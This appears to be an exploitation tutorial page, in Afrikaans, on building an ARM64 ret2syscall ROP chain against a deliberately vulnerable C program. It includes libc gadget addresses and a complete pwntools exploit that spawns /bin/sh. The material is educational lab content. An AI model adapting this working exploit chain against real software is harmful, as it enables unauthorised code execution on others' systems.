Ret2syscall - ARM64

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Vind 'n inleiding tot arm64 in:

Introduction to ARM64v8

Code

Ons gaan die voorbeeld van die bladsy gebruik:

Ret2win - arm64

c
#include <stdio.h>
#include <unistd.h>

void win() {
printf("Congratulations!\n");
}

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

Compile sonder pie en canary:

bash
clang -o ret2win ret2win.c -fno-stack-protector

Gadgets

Om die oproep vir die syscall voor te berei, is die volgende konfigurasie nodig:

  • x8: 221 Specify sys_execve
  • x0: ptr to "/bin/sh" specify file to execute
  • x1: 0 specify no arguments passed
  • x2: 0 specify no environment variables passed

Met ROPgadget.py kon ek die volgende gadgets in die libc-biblioteek van die masjien lokaliseer:

armasm
;Load x0, x1 and x3 from stack and x5 and call x5
0x0000000000114c30:
ldp x3, x0, [sp, #8] ;
ldp x1, x4, [sp, #0x18] ;
ldr x5, [sp, #0x58] ;
ldr x2, [sp, #0xe0] ;
blr x5

;Move execve syscall (0xdd) to x8 and call it
0x00000000000bb97c :
nop ;
nop ;
mov x8, #0xdd ;
svc #0

Met die vorige gadgets kan ons al die nodige registers vanaf die stapel beheer en x5 gebruik om na die tweede gadget te spring om die syscall aan te roep.

tip

Let daarop dat die kennis van hierdie inligting uit die libc-biblioteek ook 'n ret2libc-aanval moontlik maak, maar kom ons gebruik dit vir hierdie huidige voorbeeld.

Exploit

python
from pwn import *

p = process('./ret2syscall')
elf = context.binary = ELF('./ret2syscall')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))

stack_offset = 72

#0x0000000000114c2c : bl #0x133070 ; ldp x3, x0, [sp, #8] ; ldp x1, x4, [sp, #0x18] ; ldr x5, [sp, #0x58] ; ldr x2, [sp, #0xe0] ; blr x5
load_x0_x1_x2 = libc.address + 0x114c30 # ldp x3, x0, [sp, #8] ; ldp x1, x4, [sp, #0x18] ; ldr x5, [sp, #0x58] ; ldr x2, [sp, #0xe0] ; blr x5

# 0x00000000000bb97c : nop ; nop ; mov x8, #0xdd ; svc #0
call_execve = libc.address + 0xbb97c

print("/bin/sh in: " + hex(binsh))
print("load_x0_x1_x2 in: " + hex(load_x0_x1_x2))
print("call_execve in: " + hex(call_execve))

# stack offset
bof = b"A" * (stack_offset)
bof += p64(load_x0_x1_x2)

# ldp x3, x0, [sp, #8]
rop = b"BBBBBBBBBBBBBBBB" #x3
rop += p64(binsh) #x0

# ldp x1, x4, [sp, #0x18]
rop += b"C"*(0x18 - len(rop))
rop += p64(0x00) # x1
rop += b"CCCCCCCC" #x4

# ldr x5, [sp, #0x58]
rop += b"D"*(0x58 - len(rop))
rop += p64(call_execve) # x5

# ldr x2, [sp, #0xe0]
rop += b"E" * (0xe0 - len(rop))
rop += p64(0x00) # x2

payload = bof + rop

p.sendline(payload)

p.interactive()

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